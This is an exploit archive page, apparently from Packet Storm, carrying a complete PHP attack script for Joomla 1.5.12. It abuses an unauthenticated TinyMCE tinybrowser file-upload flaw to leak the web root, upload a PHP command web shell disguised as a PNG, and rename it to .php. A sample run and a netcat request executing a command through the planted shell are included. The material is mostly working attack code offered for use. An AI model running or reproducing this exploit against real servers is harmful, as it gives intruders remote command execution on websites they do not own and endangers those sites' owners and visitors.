exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla 1.5.12 Code Execution Via TinyMCE

Joomla 1.5.12 Code Execution Via TinyMCE
Posted Nov 3, 2009
Authored by Luca De Fulgentis

Remote code execution exploit for Joomla 1.5.12 using a file upload vulnerability in TinyMCE.

tags | exploit, remote, code execution, file upload
SHA-256 | 18c8fa558ef85b78307bb24e45108f134150fed7e68dfca7c1a3ac7859e32926

Joomla 1.5.12 Code Execution Via TinyMCE

Change Mirror Download
<?php

/**
** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability
**
** Tested against :
** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9
** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12
**
** Luca "daath" De Fulgentis - daath [at] nibblesec.org
** http://blog.nibblesec.org
**
**/

/*
daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$
*/


$host = "localhost";
$port = "80";
$install_path = "/";

$path = "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser";
$dir = "/tinybrowser.php?type=image&folder=";
$upload = "/upload_file.php";
$rename = "/edit.php?type=file&folder=";

/*
* PHP shell
*/
$php_shell = "<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>";

echo "\n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]\n\n";

if($argc < 2) {
echo " Usage: php {$argv[0]} host joomla_install_path\n";
echo " Example : php {$argv[0]} localhost /joomla/ \n\n";
exit(1);
}

$host = $argv[1];

if($argc == 3) {
$install_path = $argv[2][0] == "/" ? $argv[2] : "/".$argv[2];
$install_path = $argv[2][strlen($install_path)-1] == "/" ? $install_path : $install_path."/";
}

echo " [#] Attacking {$host}:{$port}{$install_path}\n";

$resp = HTTPRequest("GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0\r\n\r\n");
if(strstr($resp, "Restricted access")) {
die(" [-] Joomla is NOT vulnerable, exiting.\n\n");
}

$webroot = get_webroot_pathname();
if($webroot == "") {
die(" [-] Web root pathname NOT FOUND, exiting.\n\n");
}

echo " [+] Web root pathname is : {$webroot}\n";

$seed = md5($webroot . "s0merand0mjunk!!!111");
echo " [+] Magic token is {$seed}\n";

$my_dir = "i" . rand();
echo " [#] Creating remote directory ... ";
$resp = HTTPRequest("GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0\r\n\r\n");

if(!strstr($resp, "directory has been successfully created")) {
die("FAILED\n [-] Error - creating directory, exiting.\n\n");
}
echo "DONE\n";

$my_shell = md5(time());
echo " [#] Uploading image ... ";

$data = "--1234567\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"{$my_shell}.png\"\r\n\r\n";
$data .= "{$php_shell}\r\n";
$data .= "--1234567--\r\n";

$req = "POST {$install_path}{$path}{$upload}" . "?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1\r\n";
$req .= "Host: {$host}\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: multipart/form-data; boundary=1234567\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;

$resp = HTTPRequest($req);

if (!strstr($resp,"File Upload Success")) {
die("FAILED\n [-] Error - image uploading, exiting.\n\n");
}
echo "DONE\n";

echo " [#] Renaming image's extension (takes a while) ... ";

$data = "actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name";
$data .= "&sorttype=asc&find=&showpage=0&action=rename&commit=\r\n\r\n";

$req = "POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1\n";
$req .= "Host: {$host}\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: " . strlen($data) . "\r\n\r\n";
$req .= $data;

$resp = HTTPRequest($req);

if(!strstr($resp, "1 files have been successfully renamed")) {
die("FAILED\n [-] Error - image's extension renaming, exiting.\n");
}
echo "PWNED!\n";

echo " [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php\n\n";
exit;

function get_webroot_pathname() {

global $install_path;

$resp = HTTPRequest("GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1.\r\n\r\n");

$pos1 = strpos($resp, "in <b>");
$pos2 = strpos($resp, "libraries");

if($pos1 === false || $pos2 === false)
return "";

$init = $pos1 +strlen("in <b>");

$str = substr($resp, $init, $pos2-$init);

if($install_path != "/") {

$install_path2 = str_replace("/", "", $install_path);

$pos1 = strrpos($str, $install_path2);

if($pos1 === false)
return "";

$str = substr($str, 0, $pos1-1);
}

if($str[strlen($str)-1] == "\\")
$str = substr($str, 0, $pos-1);

if(strstr($str, "/") && $str[strlen($str)-1] != "/")
$str = $str . "/";

$pathname = str_replace("\\", "/", $str);
return $pathname;
}

function HTTPRequest($req) {

global $host, $port;

$s = @fsockopen($host, $port, $errno, $errstr, 10);
if(!$s) {
die("\n [-] Error in connection, exiting.\n\n");
}

fputs($s, $req);
$resp = "";
while(!feof($s)) {
$resp .= fgets($s);
}
fclose($s);

return $resp;
}
?>

Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close